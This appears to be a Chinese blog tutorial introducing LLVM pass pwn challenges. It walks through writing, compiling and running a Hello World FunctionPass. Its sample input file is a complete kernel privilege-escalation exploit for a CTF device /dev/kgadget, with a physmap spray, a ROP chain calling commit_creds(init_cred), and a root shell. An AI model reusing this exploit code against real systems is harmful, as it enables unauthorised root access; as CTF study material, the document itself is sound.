0%

LLVM pass pwn 入门 (1)

近年来,pwn题出的可谓是越来越花,从C++到kernel,再到Rust、Go、Java一众语言,还有LLVM。其中LLVM在各种比赛中的出现频率越来越高,值得引起重视。借这篇文章,笔者开始LLVM pass类pwn题的入门。

首先,既然要研究LLVM,就要清楚LLVM到底是什么。

它是以C++编写的构架编译器的框架系统。用于优化以任意程序语言编写的程序的编译时间(compile-time)、链接时间(link-time)、运行时间(run-time)以及空闲时间(idle-time),对开发者保持开放,并兼容已有脚本。(摘自资料

LLVM在编译过程中实际上发挥了一个牵线搭桥的作用。高级语言多种多样,但无论是哪一种语言的编译器,都需要对高级语言编写的代码进行词法与句法分析,这是编译器前端部分的工作。在分析完成后,前端会输出一个抽象语法树AST,由LLVM进行分析与优化,转化为中间表示IR。再由编译器后端根据IR生成可供执行的二进制代码。

而pass是一种编译器开发的结构化技术,用于完成编译对象(如IR)的转换、分析或优化等功能。pass的执行就是编译器对编译对象进行转换、分析和优化的过程,pass构建了这些过程所需要的分析结果。
大概就是说,LLVM提供了一种中间语言形式,以及编译链接这种语言的后端能力,那么对于一个新语言,只要开发者能够实现新语言到IR的编译器前端设计,就可以享受到从IR到可执行文件这之间的LLVM提供的所有优化、分析或者代码插桩的能力。(摘自资料

下面,笔者使用Ubuntu 20.04系统进行第一个LLVM pass的编写测试。

首先安装Clang:apt install clang,在Ubuntu 20.04安装clang会附带安装llvm-9和llvm-10,经过测试发现,只有llvm-10能够正常使用,用llvm-9的库编译会报错。

这里借资料中的测试代码编写:

myFirstLLVMpass.cpp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include "llvm/Pass.h"//写Pass所必须的库
#include "llvm/IR/Function.h"//操作函数所必须的库
#include "llvm/Support/raw_ostream.h"//打印输出所必须的库
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"

using namespace llvm;

namespace { //声明匿名空间,被声明的内容仅在文件内部可见
struct Hello : public FunctionPass {
static char ID;
Hello() : FunctionPass(ID) {}
bool runOnFunction(Function &F) override {//重写runOnFunction,使得每次遍历到一个函数的时候就输出函数名
errs() << "Hello: ";
errs().write_escaped(F.getName()) << '\n';
return false;
}
};
}

char Hello::ID = 0;

// Register for opt
static RegisterPass<Hello> X("hello", "Hello World Pass");//注册类Hello,第一个参数是命令行参数,第二个参数是名字

// Register for clang
static RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {
PM.add(new Hello());
});

上面就是LLVM pass的C++代码了。我们需要一个C语言文件,这个文件中的内容无关紧要,这里用笔者做kernel pwn题中的一个文件为例:

firstLLVMtest.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
//
// Created by root on 22-7-7.
//
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <sys/mman.h>

const size_t commit_creds = 0xFFFFFFFF810C92E0;
const size_t init_cred = 0xFFFFFFFF82A6B700;
const size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81C00FB0 + 0x1B;
const size_t ret = 0xFFFFFFFF810001FC;
const size_t poprdi_ret = 0xffffffff8108c6f0;
const size_t poprsp_ret = 0xffffffff811483d0;
const size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
long page_size;
size_t* map_spray[16000];
size_t guess;
int dev;

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status();
void print_binary(char*, int);
void info_log(char*);
void error_log(char*);
void getShell();
void makeROP(size_t*);

void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
info_log("Status has been saved.");
}

// this is a universal function to print binary data from a char* array
void print_binary(char* buf, int length){
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){
char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){
if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{
sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
}

void error_log(char* error_info){
printf("\033[31m\033[1m[x] Fatal Error: %s\033[0m\n", error_info);
exit(1);
}

void info_log(char* info){
printf("\033[33m\033[1m[*] Info: %s\033[0m\n", info);
}

void success_log(char* info){
printf("\033[32m\033[1m[+] Success: %s\033[0m\n", info);
}

void getShell(){
info_log("Ready to get root......");
if(getuid()){
error_log("Failed to get root!");
}
success_log("Root got!");
system("/bin/sh");
}

void makeROP(size_t* space){
int index = 0;
for(; index < (page_size / 8 - 0x30); index++)
space[index] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
for(; index < (page_size / 8 - 0x10); index++)
space[index] = ret;
space[index++] = poprdi_ret;
space[index++] = init_cred;
space[index++] = commit_creds;
space[index++] = swapgs_restore_regs_and_return_to_usermode;
space[index++] = 0xdeadbeefdeadbeef;
space[index++] = 0xdeadbeefdeadbeef;
space[index++] = (size_t)getShell;
space[index++] = user_cs;
space[index++] = user_rflags;
space[index++] = user_sp;
space[index] = user_ss;

info_log("Spray content below:");
print_binary((char*)space, page_size);
}

int main(){
save_status();

dev = open("/dev/kgadget", O_RDWR);
if(dev < 0) // failed to open key device, an unexpected error
error_log("Cannot open device \"/dev/kgadget\"!");

page_size = sysconf(_SC_PAGESIZE); // the size of a page, namely 4096 bytes

info_log("Spraying physmap......");

map_spray[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
makeROP(map_spray[0]);

for(int i=1; i<15000; i++){
map_spray[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(!map_spray[i])
error_log("Mmap Failure!");
memcpy(map_spray[i], map_spray[0], page_size);
}

guess = 0xffff888000000000 + 0x7000000;

info_log("Ready to turn to kernel......");

__asm__("mov r15, 0xdeadbeef;"
"mov r14, 0xcafebabe;"
"mov r13, 0xdeadbeef;"
"mov r12, 0xcafebabe;"
"mov r11, 0xdeadbeef;"
"mov r10, 0xcafebabe;"
"mov rbp, 0x12345678;"
"mov rbx, 0x87654321;"
"mov r9, poprsp_ret;"
"mov r8, guess;"
"mov rax, 0x10;"
"mov rcx, 0x12345678;"
"mov rdx, guess;"
"mov rsi, 0x1bf52;"
"mov rdi, dev;"
"syscall;"
);
return 0;
}

用下面的命令可以生成.ll文件准备输入到LLVM中:clang -emit-llvm -S firstLLVMtest.c -o firstLLVMtest.ll

生成的.ll文件的前面一部分内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
; ModuleID = 'firstLLVMtest.c'
source_filename = "firstLLVMtest.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

@commit_creds = dso_local constant i64 -2129882400, align 8
@init_cred = dso_local constant i64 -2103003392, align 8
@swapgs_restore_regs_and_return_to_usermode = dso_local constant i64 -2118119477, align 8
@ret = dso_local constant i64 -2130705924, align 8
@poprdi_ret = dso_local constant i64 -2130131216, align 8
@poprsp_ret = dso_local constant i64 -2129361968, align 8
@add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = dso_local constant i64 -2130233346, align 8
@.str = private unnamed_addr constant [23 x i8] c"Status has been saved.\00", align 1
@.str.1 = private unnamed_addr constant [5 x i8] c"%#5x\00", align 1
@.str.2 = private unnamed_addr constant [4 x i8] c" \00", align 1
@.str.3 = private unnamed_addr constant [6 x i8] c"%02x \00", align 1
@.str.4 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
@.str.5 = private unnamed_addr constant [34 x i8] c"\1B[31m\1B[1m[x] Fatal Error: %s\1B[0m\0A\00", align 1
@.str.6 = private unnamed_addr constant [27 x i8] c"\1B[33m\1B[1m[*] Info: %s\1B[0m\0A\00", align 1
@.str.7 = private unnamed_addr constant [30 x i8] c"\1B[32m\1B[1m[+] Success: %s\1B[0m\0A\00", align 1
@.str.8 = private unnamed_addr constant [24 x i8] c"Ready to get root......\00", align 1
@.str.9 = private unnamed_addr constant [20 x i8] c"Failed to get root!\00", align 1
@.str.10 = private unnamed_addr constant [10 x i8] c"Root got!\00", align 1
@.str.11 = private unnamed_addr constant [8 x i8] c"/bin/sh\00", align 1
@page_size = common dso_local global i64 0, align 8
@user_cs = common dso_local global i64 0, align 8
@user_rflags = common dso_local global i64 0, align 8
@user_sp = common dso_local global i64 0, align 8
@user_ss = common dso_local global i64 0, align 8
@.str.12 = private unnamed_addr constant [21 x i8] c"Spray content below:\00", align 1
@.str.13 = private unnamed_addr constant [13 x i8] c"/dev/kgadget\00", align 1
@dev = common dso_local global i32 0, align 4
@.str.14 = private unnamed_addr constant [35 x i8] c"Cannot open device \22/dev/kgadget\22!\00", align 1
@.str.15 = private unnamed_addr constant [23 x i8] c"Spraying physmap......\00", align 1
@map_spray = common dso_local global [16000 x i64*] zeroinitializer, align 16
@.str.16 = private unnamed_addr constant [14 x i8] c"Mmap Failure!\00", align 1
@guess = common dso_local global i64 0, align 8
@.str.17 = private unnamed_addr constant [30 x i8] c"Ready to turn to kernel......\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @save_status() #0 {
call void asm sideeffect "mov user_cs, cs;mov user_ss, ss;mov user_sp, rsp;pushf;pop user_rflags;", "~{dirflag},~{fpsr},~{flags}"() #6, !srcloc !2
call void @info_log(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str, i64 0, i64 0))
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @info_log(i8* %0) #0 {
%2 = alloca i8*, align 8
store i8* %0, i8** %2, align 8
%3 = load i8*, i8** %2, align 8
%4 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.6, i64 0, i64 0), i8* %3)
ret void
}

上面的代码是可读的,用另外一种方式阐述了代码的执行流程。

然后使用下面的命令生成.so文件,作为LLVM的动态链接库LLVMFirst.so
clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared myFirstLLVMpass.cpp -o LLVMFirst.so `llvm-config --ldflags

最后用下面的命令将.ll文件输入到LLVM中,如果想要得到结果可以在后面添加> [文件名]来获取:
opt -load ./LLVMFirst.so -hello ./firstLLVMtest.ll

其执行结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
WARNING: You're attempting to print out a bitcode file.
This is inadvisable as it may cause display problems. If
you REALLY want to taste LLVM bitcode first-hand, you
can force output with the `-f' option.

Hello: save_status
Hello: info_log
Hello: print_binary
Hello: error_log
Hello: success_log
Hello: getShell
Hello: makeROP
Hello: main

可以看到输出了很多Hello开头的行,这是因为在上面的C++程序中,我们在匿名命名空间中重载了runOnFunction函数,让LLVM输出Hello之后再输出函数的名字,这样就有了上面的几行。

在LLVM pass中可以对函数、函数中的循环、函数中的操作指令等一系列对象进行记录、修改等各种操作,具体的操作类参见资料。在下一篇文章中笔者会详细分析一道题,过一下LLVM pass类pwn题的流程。